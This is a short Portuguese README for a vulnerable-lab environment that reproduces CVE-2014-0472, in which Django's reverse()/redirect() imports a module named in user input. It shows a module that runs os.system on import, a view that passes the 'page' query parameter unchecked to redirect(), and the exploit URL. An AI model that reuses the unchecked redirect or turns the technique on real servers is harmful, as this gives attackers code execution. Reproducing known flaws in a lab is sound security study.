
CVE-2014-0472 Execução de código inesperada no Django usando reverse()
Use
docker-compose up -d
Acesse localhost:8083
Referência: https://www.djangoproject.com/weblog/2014/apr/21/security/
- Uma ou mais views estão presentes que constroem uma URL baseada em entrada do usuário (comumente, um parâmetro "next" na querystring indicando para onde redirecionar após a conclusão bem-sucedida de uma ação).
- Um ou mais módulos são conhecidos por um atacante por existirem no caminho de import do Python do servidor, que executam código com efeitos colaterais ao importar.
Em tests.py
def evil_function():
print("exploit successful")
os.system("echo > /tmp/`whoami` ")
return os.getuid()
evil = evil_function()
Em views.py
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
Use a função de redirecionamento para chamar a função maliciosa

Use o exploit
http://your-ip:8083/example?page=app.tests.evil

Explorado
